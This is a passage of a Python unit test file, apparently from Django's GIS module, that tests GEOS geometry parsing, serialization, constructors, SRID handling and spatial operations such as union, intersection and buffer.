        self.assertEqual(hexewkb_3d, pnt_3d.hexewkb)
        self.assertIs(GEOSGeometry(hexewkb_3d).hasz, True)

        # Same for EWKB.
        self.assertEqual(six.memoryview(a2b_hex(hexewkb_2d)), pnt_2d.ewkb)
        self.assertEqual(six.memoryview(a2b_hex(hexewkb_3d)), pnt_3d.ewkb)

        # Redundant sanity check.
        self.assertEqual(4326, GEOSGeometry(hexewkb_2d).srid)

    def test_kml(self):
        "Testing KML output."
        for tg in self.geometries.wkt_out:
            geom = fromstr(tg.wkt)
            kml = getattr(tg, 'kml', False)
            if kml:
                self.assertEqual(kml, geom.kml)

    def test_errors(self):
        "Testing the Error handlers."
        # string-based
        for err in self.geometries.errors:
            with self.assertRaises((GEOSException, ValueError)):
                fromstr(err.wkt)

        # Bad WKB
        with self.assertRaises(GEOSException):
            GEOSGeometry(six.memoryview(b'0'))

        class NotAGeometry(object):
            pass

        # Some other object
        with self.assertRaises(TypeError):
            GEOSGeometry(NotAGeometry())
        # None
        with self.assertRaises(TypeError):
            GEOSGeometry(None)

    def test_wkb(self):
        "Testing WKB output."
        for g in self.geometries.hex_wkt:
            geom = fromstr(g.wkt)
            wkb = geom.wkb
            self.assertEqual(b2a_hex(wkb).decode().upper(), g.hex)

    def test_create_hex(self):
        "Testing creation from HEX."
        for g in self.geometries.hex_wkt:
            geom_h = GEOSGeometry(g.hex)
            # we need to do this so decimal places get normalized
            geom_t = fromstr(g.wkt)
            self.assertEqual(geom_t.wkt, geom_h.wkt)

    def test_create_wkb(self):
        "Testing creation from WKB."
        for g in self.geometries.hex_wkt:
            wkb = six.memoryview(a2b_hex(g.hex.encode()))
            geom_h = GEOSGeometry(wkb)
            # we need to do this so decimal places get normalized
            geom_t = fromstr(g.wkt)
            self.assertEqual(geom_t.wkt, geom_h.wkt)

    def test_ewkt(self):
        "Testing EWKT."
        srids = (-1, 32140)
        for srid in srids:
            for p in self.geometries.polygons:
                ewkt = 'SRID=%d;%s' % (srid, p.wkt)
                poly = fromstr(ewkt)
                self.assertEqual(srid, poly.srid)
                self.assertEqual(srid, poly.shell.srid)
                self.assertEqual(srid, fromstr(poly.ewkt).srid)  # Checking export

    @skipUnless(HAS_GDAL, "GDAL is required.")
    def test_json(self):
        "Testing GeoJSON input/output (via GDAL)."
        for g in self.geometries.json_geoms:
            geom = GEOSGeometry(g.wkt)
            if not hasattr(g, 'not_equal'):
                # Loading jsons to prevent decimal differences
                self.assertEqual(json.loads(g.json), json.loads(geom.json))
                self.assertEqual(json.loads(g.json), json.loads(geom.geojson))
            self.assertEqual(GEOSGeometry(g.wkt), GEOSGeometry(geom.json))

    def test_fromfile(self):
        "Testing the fromfile() factory."
        ref_pnt = GEOSGeometry('POINT(5 23)')

        wkt_f = BytesIO()
        wkt_f.write(force_bytes(ref_pnt.wkt))
        wkb_f = BytesIO()
        wkb_f.write(bytes(ref_pnt.wkb))

        # Other tests use `fromfile()` on string filenames so those
        # aren't tested here.
        for fh in (wkt_f, wkb_f):
            fh.seek(0)
            pnt = fromfile(fh)
            self.assertEqual(ref_pnt, pnt)

    def test_eq(self):
        "Testing equivalence."
        p = fromstr('POINT(5 23)')
        self.assertEqual(p, p.wkt)
        self.assertNotEqual(p, 'foo')
        ls = fromstr('LINESTRING(0 0, 1 1, 5 5)')
        self.assertEqual(ls, ls.wkt)
        self.assertNotEqual(p, 'bar')
        # Error shouldn't be raise on equivalence testing with
        # an invalid type.
        for g in (p, ls):
            self.assertNotEqual(g, None)
            self.assertNotEqual(g, {'foo': 'bar'})
            self.assertNotEqual(g, False)

    def test_points(self):
        "Testing Point objects."
        prev = fromstr('POINT(0 0)')
        for p in self.geometries.points:
            # Creating the point from the WKT
            pnt = fromstr(p.wkt)
            self.assertEqual(pnt.geom_type, 'Point')
            self.assertEqual(pnt.geom_typeid, 0)
            self.assertEqual(pnt.dims, 0)
            self.assertEqual(p.x, pnt.x)
            self.assertEqual(p.y, pnt.y)
            self.assertEqual(pnt, fromstr(p.wkt))
            self.assertEqual(False, pnt == prev)  # Use assertEqual to test __eq__

            # Making sure that the point's X, Y components are what we expect
            self.assertAlmostEqual(p.x, pnt.tuple[0], 9)
            self.assertAlmostEqual(p.y, pnt.tuple[1], 9)

            # Testing the third dimension, and getting the tuple arguments
            if hasattr(p, 'z'):
                self.assertIs(pnt.hasz, True)
                self.assertEqual(p.z, pnt.z)
                self.assertEqual(p.z, pnt.tuple[2], 9)
                tup_args = (p.x, p.y, p.z)
                set_tup1 = (2.71, 3.14, 5.23)
                set_tup2 = (5.23, 2.71, 3.14)
            else:
                self.assertIs(pnt.hasz, False)
                self.assertIsNone(pnt.z)
                tup_args = (p.x, p.y)
                set_tup1 = (2.71, 3.14)
                set_tup2 = (3.14, 2.71)

            # Centroid operation on point should be point itself
            self.assertEqual(p.centroid, pnt.centroid.tuple)

            # Now testing the different constructors
            pnt2 = Point(tup_args)  # e.g., Point((1, 2))
            pnt3 = Point(*tup_args)  # e.g., Point(1, 2)
            self.assertEqual(pnt, pnt2)
            self.assertEqual(pnt, pnt3)

            # Now testing setting the x and y
            pnt.y = 3.14
            pnt.x = 2.71
            self.assertEqual(3.14, pnt.y)
            self.assertEqual(2.71, pnt.x)

            # Setting via the tuple/coords property
            pnt.tuple = set_tup1
            self.assertEqual(set_tup1, pnt.tuple)
            pnt.coords = set_tup2
            self.assertEqual(set_tup2, pnt.coords)

            prev = pnt  # setting the previous geometry

    def test_multipoints(self):
        "Testing MultiPoint objects."
        for mp in self.geometries.multipoints:
            mpnt = fromstr(mp.wkt)
            self.assertEqual(mpnt.geom_type, 'MultiPoint')
            self.assertEqual(mpnt.geom_typeid, 4)
            self.assertEqual(mpnt.dims, 0)

            self.assertAlmostEqual(mp.centroid[0], mpnt.centroid.tuple[0], 9)
            self.assertAlmostEqual(mp.centroid[1], mpnt.centroid.tuple[1], 9)

            with self.assertRaises(IndexError):
                mpnt.__getitem__(len(mpnt))
            self.assertEqual(mp.centroid, mpnt.centroid.tuple)
            self.assertEqual(mp.coords, tuple(m.tuple for m in mpnt))
            for p in mpnt:
                self.assertEqual(p.geom_type, 'Point')
                self.assertEqual(p.geom_typeid, 0)
                self.assertIs(p.empty, False)
                self.assertIs(p.valid, True)

    def test_linestring(self):
        "Testing LineString objects."
        prev = fromstr('POINT(0 0)')
        for l in self.geometries.linestrings:
            ls = fromstr(l.wkt)
            self.assertEqual(ls.geom_type, 'LineString')
            self.assertEqual(ls.geom_typeid, 1)
            self.assertEqual(ls.dims, 1)
            self.assertIs(ls.empty, False)
            self.assertIs(ls.ring, False)
            if hasattr(l, 'centroid'):
                self.assertEqual(l.centroid, ls.centroid.tuple)
            if hasattr(l, 'tup'):
                self.assertEqual(l.tup, ls.tuple)

            self.assertEqual(ls, fromstr(l.wkt))
            self.assertEqual(False, ls == prev)  # Use assertEqual to test __eq__
            with self.assertRaises(IndexError):
                ls.__getitem__(len(ls))
            prev = ls

            # Creating a LineString from a tuple, list, and numpy array
            self.assertEqual(ls, LineString(ls.tuple))  # tuple
            self.assertEqual(ls, LineString(*ls.tuple))  # as individual arguments
            self.assertEqual(ls, LineString([list(tup) for tup in ls.tuple]))  # as list
            # Point individual arguments
            self.assertEqual(ls.wkt, LineString(*tuple(Point(tup) for tup in ls.tuple)).wkt)
            if numpy:
                self.assertEqual(ls, LineString(numpy.array(ls.tuple)))  # as numpy array

        with self.assertRaisesMessage(TypeError, 'Each coordinate should be a sequence (list or tuple)'):
            LineString((0, 0))

        with self.assertRaisesMessage(ValueError, 'LineString requires at least 2 points, got 1.'):
            LineString([(0, 0)])

        if numpy:
            with self.assertRaisesMessage(ValueError, 'LineString requires at least 2 points, got 1.'):
                LineString(numpy.array([(0, 0)]))

        with mock.patch('django.contrib.gis.geos.linestring.numpy', False):
            with self.assertRaisesMessage(TypeError, 'Invalid initialization input for LineStrings.'):
                LineString('wrong input')

    def test_multilinestring(self):
        "Testing MultiLineString objects."
        prev = fromstr('POINT(0 0)')
        for l in self.geometries.multilinestrings:
            ml = fromstr(l.wkt)
            self.assertEqual(ml.geom_type, 'MultiLineString')
            self.assertEqual(ml.geom_typeid, 5)
            self.assertEqual(ml.dims, 1)

            self.assertAlmostEqual(l.centroid[0], ml.centroid.x, 9)
            self.assertAlmostEqual(l.centroid[1], ml.centroid.y, 9)

            self.assertEqual(ml, fromstr(l.wkt))
            self.assertEqual(False, ml == prev)  # Use assertEqual to test __eq__
            prev = ml

            for ls in ml:
                self.assertEqual(ls.geom_type, 'LineString')
                self.assertEqual(ls.geom_typeid, 1)
                self.assertIs(ls.empty, False)

            with self.assertRaises(IndexError):
                ml.__getitem__(len(ml))
            self.assertEqual(ml.wkt, MultiLineString(*tuple(s.clone() for s in ml)).wkt)
            self.assertEqual(ml, MultiLineString(*tuple(LineString(s.tuple) for s in ml)))

    def test_linearring(self):
        "Testing LinearRing objects."
        for rr in self.geometries.linearrings:
            lr = fromstr(rr.wkt)
            self.assertEqual(lr.geom_type, 'LinearRing')
            self.assertEqual(lr.geom_typeid, 2)
            self.assertEqual(lr.dims, 1)
            self.assertEqual(rr.n_p, len(lr))
            self.assertIs(lr.valid, True)
            self.assertIs(lr.empty, False)

            # Creating a LinearRing from a tuple, list, and numpy array
            self.assertEqual(lr, LinearRing(lr.tuple))
            self.assertEqual(lr, LinearRing(*lr.tuple))
            self.assertEqual(lr, LinearRing([list(tup) for tup in lr.tuple]))
            if numpy:
                self.assertEqual(lr, LinearRing(numpy.array(lr.tuple)))

        with self.assertRaisesMessage(ValueError, 'LinearRing requires at least 4 points, got 3.'):
            LinearRing((0, 0), (1, 1), (0, 0))

        with self.assertRaisesMessage(ValueError, 'LinearRing requires at least 4 points, got 1.'):
            LinearRing([(0, 0)])

        if numpy:
            with self.assertRaisesMessage(ValueError, 'LinearRing requires at least 4 points, got 1.'):
                LinearRing(numpy.array([(0, 0)]))

    def test_polygons_from_bbox(self):
        "Testing `from_bbox` class method."
        bbox = (-180, -90, 180, 90)
        p = Polygon.from_bbox(bbox)
        self.assertEqual(bbox, p.extent)

        # Testing numerical precision
        x = 3.14159265358979323
        bbox = (0, 0, 1, x)
        p = Polygon.from_bbox(bbox)
        y = p.extent[-1]
        self.assertEqual(format(x, '.13f'), format(y, '.13f'))

    def test_polygons(self):
        "Testing Polygon objects."

        prev = fromstr('POINT(0 0)')
        for p in self.geometries.polygons:
            # Creating the Polygon, testing its properties.
            poly = fromstr(p.wkt)
            self.assertEqual(poly.geom_type, 'Polygon')
            self.assertEqual(poly.geom_typeid, 3)
            self.assertEqual(poly.dims, 2)
            self.assertIs(poly.empty, False)
            self.assertIs(poly.ring, False)
            self.assertEqual(p.n_i, poly.num_interior_rings)
            self.assertEqual(p.n_i + 1, len(poly))  # Testing __len__
            self.assertEqual(p.n_p, poly.num_points)

            # Area & Centroid
            self.assertAlmostEqual(p.area, poly.area, 9)
            self.assertAlmostEqual(p.centroid[0], poly.centroid.tuple[0], 9)
            self.assertAlmostEqual(p.centroid[1], poly.centroid.tuple[1], 9)

            # Testing the geometry equivalence
            self.assertEqual(poly, fromstr(p.wkt))
            # Should not be equal to previous geometry
            self.assertEqual(False, poly == prev)  # Use assertEqual to test __eq__
            self.assertNotEqual(poly, prev)  # Use assertNotEqual to test __ne__

            # Testing the exterior ring
            ring = poly.exterior_ring
            self.assertEqual(ring.geom_type, 'LinearRing')
            self.assertEqual(ring.geom_typeid, 2)
            if p.ext_ring_cs:
                self.assertEqual(p.ext_ring_cs, ring.tuple)
                self.assertEqual(p.ext_ring_cs, poly[0].tuple)  # Testing __getitem__

            # Testing __getitem__ and __setitem__ on invalid indices
            with self.assertRaises(IndexError):
                poly.__getitem__(len(poly))
            with self.assertRaises(IndexError):
                poly.__setitem__(len(poly), False)
            with self.assertRaises(IndexError):
                poly.__getitem__(-1 * len(poly) - 1)

            # Testing __iter__
            for r in poly:
                self.assertEqual(r.geom_type, 'LinearRing')
                self.assertEqual(r.geom_typeid, 2)

            # Testing polygon construction.
            with self.assertRaises(TypeError):
                Polygon(0, [1, 2, 3])
            with self.assertRaises(TypeError):
                Polygon('foo')

            # Polygon(shell, (hole1, ... holeN))
            rings = tuple(r for r in poly)
            self.assertEqual(poly, Polygon(rings[0], rings[1:]))

            # Polygon(shell_tuple, hole_tuple1, ... , hole_tupleN)
            ring_tuples = tuple(r.tuple for r in poly)
            self.assertEqual(poly, Polygon(*ring_tuples))

            # Constructing with tuples of LinearRings.
            self.assertEqual(poly.wkt, Polygon(*tuple(r for r in poly)).wkt)
            self.assertEqual(poly.wkt, Polygon(*tuple(LinearRing(r.tuple) for r in poly)).wkt)

    def test_polygons_templates(self):
        # Accessing Polygon attributes in templates should work.
        engine = Engine()
        template = engine.from_string('{{ polygons.0.wkt }}')
        polygons = [fromstr(p.wkt) for p in self.geometries.multipolygons[:2]]
        content = template.render(Context({'polygons': polygons}))
        self.assertIn('MULTIPOLYGON (((100', content)

    def test_polygon_comparison(self):
        p1 = Polygon(((0, 0), (0, 1), (1, 1), (1, 0), (0, 0)))
        p2 = Polygon(((0, 0), (0, 1), (1, 0), (0, 0)))
        self.assertGreater(p1, p2)
        self.assertLess(p2, p1)

        p3 = Polygon(((0, 0), (0, 1), (1, 1), (2, 0), (0, 0)))
        p4 = Polygon(((0, 0), (0, 1), (2, 2), (1, 0), (0, 0)))
        self.assertGreater(p4, p3)
        self.assertLess(p3, p4)

    def test_multipolygons(self):
        "Testing MultiPolygon objects."
        fromstr('POINT (0 0)')
        for mp in self.geometries.multipolygons:
            mpoly = fromstr(mp.wkt)
            self.assertEqual(mpoly.geom_type, 'MultiPolygon')
            self.assertEqual(mpoly.geom_typeid, 6)
            self.assertEqual(mpoly.dims, 2)
            self.assertEqual(mp.valid, mpoly.valid)

            if mp.valid:
                self.assertEqual(mp.num_geom, mpoly.num_geom)
                self.assertEqual(mp.n_p, mpoly.num_coords)
                self.assertEqual(mp.num_geom, len(mpoly))
                with self.assertRaises(IndexError):
                    mpoly.__getitem__(len(mpoly))
                for p in mpoly:
                    self.assertEqual(p.geom_type, 'Polygon')
                    self.assertEqual(p.geom_typeid, 3)
                    self.assertIs(p.valid, True)
                self.assertEqual(mpoly.wkt, MultiPolygon(*tuple(poly.clone() for poly in mpoly)).wkt)

    def test_memory_hijinks(self):
        "Testing Geometry __del__() on rings and polygons."
        # #### Memory issues with rings and poly

        # These tests are needed to ensure sanity with writable geometries.

        # Getting a polygon with interior rings, and pulling out the interior rings
        poly = fromstr(self.geometries.polygons[1].wkt)
        ring1 = poly[0]
        ring2 = poly[1]

        # These deletes should be 'harmless' since they are done on child geometries
        del ring1
        del ring2
        ring1 = poly[0]
        ring2 = poly[1]

        # Deleting the polygon
        del poly

        # Access to these rings is OK since they are clones.
        str(ring1)
        str(ring2)

    def test_coord_seq(self):
        "Testing Coordinate Sequence objects."
        for p in self.geometries.polygons:
            if p.ext_ring_cs:
                # Constructing the polygon and getting the coordinate sequence
                poly = fromstr(p.wkt)
                cs = poly.exterior_ring.coord_seq

                self.assertEqual(p.ext_ring_cs, cs.tuple)  # done in the Polygon test too.
                self.assertEqual(len(p.ext_ring_cs), len(cs))  # Making sure __len__ works

                # Checks __getitem__ and __setitem__
                for i in range(len(p.ext_ring_cs)):
                    c1 = p.ext_ring_cs[i]  # Expected value
                    c2 = cs[i]  # Value from coordseq
                    self.assertEqual(c1, c2)

                    # Constructing the test value to set the coordinate sequence with
                    if len(c1) == 2:
                        tset = (5, 23)
                    else:
                        tset = (5, 23, 8)
                    cs[i] = tset

                    # Making sure every set point matches what we expect
                    for j in range(len(tset)):
                        cs[i] = tset
                        self.assertEqual(tset[j], cs[i][j])

    def test_relate_pattern(self):
        "Testing relate() and relate_pattern()."
        g = fromstr('POINT (0 0)')
        with self.assertRaises(GEOSException):
            g.relate_pattern(0, 'invalid pattern, yo')
        for rg in self.geometries.relate_geoms:
            a = fromstr(rg.wkt_a)
            b = fromstr(rg.wkt_b)
            self.assertEqual(rg.result, a.relate_pattern(b, rg.pattern))
            self.assertEqual(rg.pattern, a.relate(b))

    def test_intersection(self):
        "Testing intersects() and intersection()."
        for i in range(len(self.geometries.topology_geoms)):
            a = fromstr(self.geometries.topology_geoms[i].wkt_a)
            b = fromstr(self.geometries.topology_geoms[i].wkt_b)
            i1 = fromstr(self.geometries.intersect_geoms[i].wkt)
            self.assertIs(a.intersects(b), True)
            i2 = a.intersection(b)
            self.assertEqual(i1, i2)
            self.assertEqual(i1, a & b)  # __and__ is intersection operator
            a &= b  # testing __iand__
            self.assertEqual(i1, a)

    def test_union(self):
        "Testing union()."
        for i in range(len(self.geometries.topology_geoms)):
            a = fromstr(self.geometries.topology_geoms[i].wkt_a)
            b = fromstr(self.geometries.topology_geoms[i].wkt_b)
            u1 = fromstr(self.geometries.union_geoms[i].wkt)
            u2 = a.union(b)
            self.assertEqual(u1, u2)
            self.assertEqual(u1, a | b)  # __or__ is union operator
            a |= b  # testing __ior__
            self.assertEqual(u1, a)

    def test_unary_union(self):
        "Testing unary_union."
        for i in range(len(self.geometries.topology_geoms)):
            a = fromstr(self.geometries.topology_geoms[i].wkt_a)
            b = fromstr(self.geometries.topology_geoms[i].wkt_b)
            u1 = fromstr(self.geometries.union_geoms[i].wkt)
            u2 = GeometryCollection(a, b).unary_union
            self.assertTrue(u1.equals(u2))

    def test_difference(self):
        "Testing difference()."
        for i in range(len(self.geometries.topology_geoms)):
            a = fromstr(self.geometries.topology_geoms[i].wkt_a)
            b = fromstr(self.geometries.topology_geoms[i].wkt_b)
            d1 = fromstr(self.geometries.diff_geoms[i].wkt)
            d2 = a.difference(b)
            self.assertEqual(d1, d2)
            self.assertEqual(d1, a - b)  # __sub__ is difference operator
            a -= b  # testing __isub__
            self.assertEqual(d1, a)

    def test_symdifference(self):
        "Testing sym_difference()."
        for i in range(len(self.geometries.topology_geoms)):
            a = fromstr(self.geometries.topology_geoms[i].wkt_a)
            b = fromstr(self.geometries.topology_geoms[i].wkt_b)
            d1 = fromstr(self.geometries.sdiff_geoms[i].wkt)
            d2 = a.sym_difference(b)
            self.assertEqual(d1, d2)
            self.assertEqual(d1, a ^ b)  # __xor__ is symmetric difference operator
            a ^= b  # testing __ixor__
            self.assertEqual(d1, a)

    def test_buffer(self):
        "Testing buffer()."
        for bg in self.geometries.buffer_geoms:
            g = fromstr(bg.wkt)

            # The buffer we expect
            exp_buf = fromstr(bg.buffer_wkt)
            quadsegs = bg.quadsegs
            width = bg.width

            # Can't use a floating-point for the number of quadsegs.
            with self.assertRaises(ctypes.ArgumentError):
                g.buffer(width, float(quadsegs))

            # Constructing our buffer
            buf = g.buffer(width, quadsegs)
            self.assertEqual(exp_buf.num_coords, buf.num_coords)
            self.assertEqual(len(exp_buf), len(buf))

            # Now assuring that each point in the buffer is almost equal
            for j in range(len(exp_buf)):
                exp_ring = exp_buf[j]
                buf_ring = buf[j]
                self.assertEqual(len(exp_ring), len(buf_ring))
                for k in range(len(exp_ring)):
                    # Asserting the X, Y of each point are almost equal (due to floating point imprecision)
                    self.assertAlmostEqual(exp_ring[k][0], buf_ring[k][0], 9)
                    self.assertAlmostEqual(exp_ring[k][1], buf_ring[k][1], 9)

    def test_covers(self):
        poly = Polygon(((0, 0), (0, 10), (10, 10), (10, 0), (0, 0)))
        self.assertTrue(poly.covers(Point(5, 5)))
        self.assertFalse(poly.covers(Point(100, 100)))

    def test_closed(self):
        ls_closed = LineString((0, 0), (1, 1), (0, 0))
        ls_not_closed = LineString((0, 0), (1, 1))
        self.assertFalse(ls_not_closed.closed)
        self.assertTrue(ls_closed.closed)

        if geos_version_info()['version'] >= '3.5':
            self.assertFalse(MultiLineString(ls_closed, ls_not_closed).closed)
            self.assertTrue(MultiLineString(ls_closed, ls_closed).closed)

        with mock.patch('django.contrib.gis.geos.collections.geos_version_info', lambda: {'version': '3.4.9'}):
            with self.assertRaisesMessage(GEOSException, "MultiLineString.closed requires GEOS >= 3.5.0."):
                MultiLineString().closed

    def test_srid(self):
        "Testing the SRID property and keyword."
        # Testing SRID keyword on Point
        pnt = Point(5, 23, srid=4326)
        self.assertEqual(4326, pnt.srid)
        pnt.srid = 3084
        self.assertEqual(3084, pnt.srid)
        with self.assertRaises(ctypes.ArgumentError):
            pnt.srid = '4326'

        # Testing SRID keyword on fromstr(), and on Polygon rings.
        poly = fromstr(self.geometries.polygons[1].wkt, srid=4269)
        self.assertEqual(4269, poly.srid)
        for ring in poly:
            self.assertEqual(4269, ring.srid)
        poly.srid = 4326
        self.assertEqual(4326, poly.shell.srid)

        # Testing SRID keyword on GeometryCollection
        gc = GeometryCollection(Point(5, 23), LineString((0, 0), (1.5, 1.5), (3, 3)), srid=32021)
        self.assertEqual(32021, gc.srid)
        for i in range(len(gc)):
            self.assertEqual(32021, gc[i].srid)

        # GEOS may get the SRID from HEXEWKB
        # 'POINT(5 23)' at SRID=4326 in hex form -- obtained from PostGIS
        # using `SELECT GeomFromText('POINT (5 23)', 4326);`.
        hex = '0101000020E610000000000000000014400000000000003740'
        p1 = fromstr(hex)
        self.assertEqual(4326, p1.srid)

        p2 = fromstr(p1.hex)
        self.assertIsNone(p2.srid)
        p3 = fromstr(p1.hex, srid=-1)  # -1 is intended.
        self.assertEqual(-1, p3.srid)

        # Testing that geometry SRID could be set to its own value
        pnt_wo_srid = Point(1, 1)
        pnt_wo_srid.srid = pnt_wo_srid.srid

    @skipUnless(HAS_GDAL, "GDAL is required.")
    def test_custom_srid(self):
        """Test with a null srid and a srid unknown to GDAL."""
        for srid in [None, 999999]:
            pnt = Point(111200, 220900, srid=srid)
            self.assertTrue(pnt.ewkt.startswith(("SRID=%s;" % srid if srid else '') + "POINT (111200"))
            self.assertIsInstance(pnt.ogr, gdal.OGRGeometry)
            self.assertIsNone(pnt.srs)

            # Test conversion from custom to a known srid
            c2w = gdal.CoordTransform(
                gdal.SpatialReference(
                    '+proj=mill +lat_0=0 +lon_0=0 +x_0=0 +y_0=0 +R_A +ellps=WGS84 '
                    '+datum=WGS84 +units=m +no_defs'
                ),
                gdal.SpatialReference(4326))
            new_pnt = pnt.transform(c2w, clone=True)
            self.assertEqual(new_pnt.srid, 4326)
            self.assertAlmostEqual(new_pnt.x, 1, 3)
            self.assertAlmostEqual(new_pnt.y, 2, 3)

    def test_mutable_geometries(self):
        "Testing the mutability of Polygons and Geometry Collections."
        # ### Testing the mutability of Polygons ###
        for p in self.geometries.polygons:
            poly = fromstr(p.wkt)

            # Should only be able to use __setitem__ with LinearRing geometries.
            with self.assertRaises(TypeError):
                poly.__setitem__(0, LineString((1, 1), (2, 2)))

            # Constructing the new shell by adding 500 to every point in the old shell.
            shell_tup = poly.shell.tuple
            new_coords = []
            for point in shell_tup:
                new_coords.append((point[0] + 500., point[1] + 500.))
            new_shell = LinearRing(*tuple(new_coords))

            # Assigning polygon's exterior ring w/the new shell
            poly.exterior_ring = new_shell
            str(new_shell)  # new shell is still accessible
            self.assertEqual(poly.exterior_ring, new_shell)
            self.assertEqual(poly[0], new_shell)

        # ### Testing the mutability of Geometry Collections
        for tg in self.geometries.multipoints:
            mp = fromstr(tg.wkt)
            for i in range(len(mp)):
                # Creating a random point.
                pnt = mp[i]
                new = Point(random.randint(21, 100), random.randint(21, 100))
                # Testing the assignment
                mp[i] = new
                str(new)  # what was used for the assignment is still accessible
                self.assertEqual(mp[i], new)
                self.assertEqual(mp[i].wkt, new.wkt)
                self.assertNotEqual(pnt, mp[i])

        # MultiPolygons involve much more memory management because each
        # Polygon w/in the collection has its own rings.
        for tg in self.geometries.multipolygons:
            mpoly = fromstr(tg.wkt)
            for i in range(len(mpoly)):
                poly = mpoly[i]
                old_poly = mpoly[i]
                # Offsetting the each ring in the polygon by 500.
                for j in range(len(poly)):
                    r = poly[j]
                    for k in range(len(r)):
                        r[k] = (r[k][0] + 500., r[k][1] + 500.)
                    poly[j] = r

                self.assertNotEqual(mpoly[i], poly)
                # Testing the assignment
                mpoly[i] = poly
                str(poly)  # Still accessible
                self.assertEqual(mpoly[i], poly)
                self.assertNotEqual(mpoly[i], old_poly)

        # Extreme (!!) __setitem__ -- no longer works, have to detect
        # in the first object that __setitem__ is called in the subsequent
        # objects -- maybe mpoly[0, 0, 0] = (3.14, 2.71)?
        # mpoly[0][0][0] = (3.14, 2.71)
        # self.assertEqual((3.14, 2.71), mpoly[0][0][0])
        # Doing it more slowly..
        # self.assertEqual((3.14, 2.71), mpoly[0].shell[0])
        # del mpoly

    def test_point_list_assignment(self):
        p = Point(0, 0)

        p[:] = (1, 2, 3)
        self.assertEqual(p, Point(1, 2, 3))

        p[:] = ()
        self.assertEqual(p.wkt, Point())

        p[:] = (1, 2)
        self.assertEqual(p.wkt, Point(1, 2))

        with self.assertRaises(ValueError):
            p[:] = (1,)
        with self.assertRaises(ValueError):
            p[:] = (1, 2, 3, 4, 5)

    def test_linestring_list_assignment(self):
        ls = LineString((0, 0), (1, 1))

        ls[:] = ()
        self.assertEqual(ls, LineString())

        ls[:] = ((0, 0), (1, 1), (2, 2))
        self.assertEqual(ls, LineString((0, 0), (1, 1), (2, 2)))

        with self.assertRaises(ValueError):
            ls[:] = (1,)

    def test_linearring_list_assignment(self):
        ls = LinearRing((0, 0), (0, 1), (1, 1), (0, 0))

        ls[:] = ()
        self.assertEqual(ls, LinearRing())

        ls[:] = ((0, 0), (0, 1), (1, 1), (1, 0), (0, 0))
        self.assertEqual(ls, LinearRing((0, 0), (0, 1), (1, 1), (1, 0), (0, 0)))

        with self.assertRaises(ValueError):
            ls[:] = ((0, 0), (1, 1), (2, 2))

    def test_polygon_list_assignment(self):
        pol = Polygon()

        pol[:] = (((0, 0), (0, 1), (1, 1), (1, 0), (0, 0)),)
        self.assertEqual(pol, Polygon(((0, 0), (0, 1), (1, 1), (1, 0), (0, 0)),))

        pol[:] = ()
        self.assertEqual(pol, Polygon())

    def test_geometry_collection_list_assignment(self):
        p = Point()
        gc = GeometryCollection()

        gc[:] = [p]
        self.assertEqual(gc, GeometryCollection(p))

        gc[:] = ()
        self.assertEqual(gc, GeometryCollection())

    def test_threed(self):
        "Testing three-dimensional geometries."
        # Testing a 3D Point
        pnt = Point(2, 3, 8)
        self.assertEqual((2., 3., 8.), pnt.coords)
        with self.assertRaises(TypeError):
            pnt.tuple = (1., 2.)
        pnt.coords = (1., 2., 3.)
        self.assertEqual((1., 2., 3.), pnt.coords)

        # Testing a 3D LineString
        ls = LineString((2., 3., 8.), (50., 250., -117.))
        self.assertEqual(((2., 3., 8.), (50., 250., -117.)), ls.tuple)
        with self.assertRaises(TypeError):
            ls.__setitem__(0, (1., 2.))
        ls[0] = (1., 2., 3.)
        self.assertEqual((1., 2., 3.), ls[0])

    def test_distance(self):
        "Testing the distance() function."
        # Distance to self should be 0.
        pnt = Point(0, 0)
        self.assertEqual(0.0, pnt.distance(Point(0, 0)))

        # Distance should be 1
        self.assertEqual(1.0, pnt.distance(Point(0, 1)))

        # Distance should be ~ sqrt(2)
        self.assertAlmostEqual(1.41421356237, pnt.distance(Point(1, 1)), 11)

        # Distances are from the closest vertex in each geometry --
        #  should be 3 (distance from (2, 2) to (5, 2)).
        ls1 = LineString((0, 0), (1, 1), (2, 2))
        ls2 = LineString((5, 2), (6, 1), (7, 0))
        self.assertEqual(3, ls1.distance(ls2))

    def test_length(self):
        "Testing the length property."
        # Points have 0 length.
        pnt = Point(0, 0)
        self.assertEqual(0.0, pnt.length)

        # Should be ~ sqrt(2)
        ls = LineString((0, 0), (1, 1))
        self.assertAlmostEqual(1.41421356237, ls.length, 11)

        # Should be circumference of Polygon
        poly = Polygon(LinearRing((0, 0), (0, 1), (1, 1), (1, 0), (0, 0)))
        self.assertEqual(4.0, poly.length)

        # Should be sum of each element's length in collection.
        mpoly = MultiPolygon(poly.clone(), poly)
        self.assertEqual(8.0, mpoly.length)

    def test_emptyCollections(self):
        "Testing empty geometries and collections."
        geoms = [
            GeometryCollection([]),
            fromstr('GEOMETRYCOLLECTION EMPTY'),
            GeometryCollection(),
            fromstr('POINT EMPTY'),
            Point(),
            fromstr('LINESTRING EMPTY'),
            LineString(),
            fromstr('POLYGON EMPTY'),
            Polygon(),
            fromstr('MULTILINESTRING EMPTY'),
            MultiLineString(),
            fromstr('MULTIPOLYGON EMPTY'),
            MultiPolygon(()),
            MultiPolygon(),
        ]

        if numpy:
            geoms.append(LineString(numpy.array([])))

        for g in geoms:
            self.assertIs(g.empty, True)

            # Testing len() and num_geom.
            if isinstance(g, Polygon):
                self.assertEqual(1, len(g))  # Has one empty linear ring
                self.assertEqual(1, g.num_geom)
                self.assertEqual(0, len(g[0]))
            elif isinstance(g, (Point, LineString)):
                self.assertEqual(1, g.num_geom)
                self.assertEqual(0, len(g))
            else:
                self.assertEqual(0, g.num_geom)
                self.assertEqual(0, len(g))

            # Testing __getitem__ (doesn't work on Point or Polygon)
            if isinstance(g, Point):
                with self.assertRaises(IndexError):
                    g.x
            elif isinstance(g, Polygon):
                lr = g.shell
                self.assertEqual('LINEARRING EMPTY', lr.wkt)
                self.assertEqual(0, len(lr))
                self.assertIs(lr.empty, True)
                with self.assertRaises(IndexError):
                    lr.__getitem__(0)
            else:
                with self.assertRaises(IndexError):
                    g.__getitem__(0)

    def test_collection_dims(self):
        gc = GeometryCollection([])
        self.assertEqual(gc.dims, -1)

        gc = GeometryCollection(Point(0, 0))
        self.assertEqual(gc.dims, 0)

        gc = GeometryCollection(LineString((0, 0), (1, 1)), Point(0, 0))
        self.assertEqual(gc.dims, 1)

        gc = GeometryCollection(LineString((0, 0), (1, 1)), Polygon(((0, 0), (0, 1), (1, 1), (0, 0))), Point(0, 0))
        self.assertEqual(gc.dims, 2)

    def test_collections_of_collections(self):
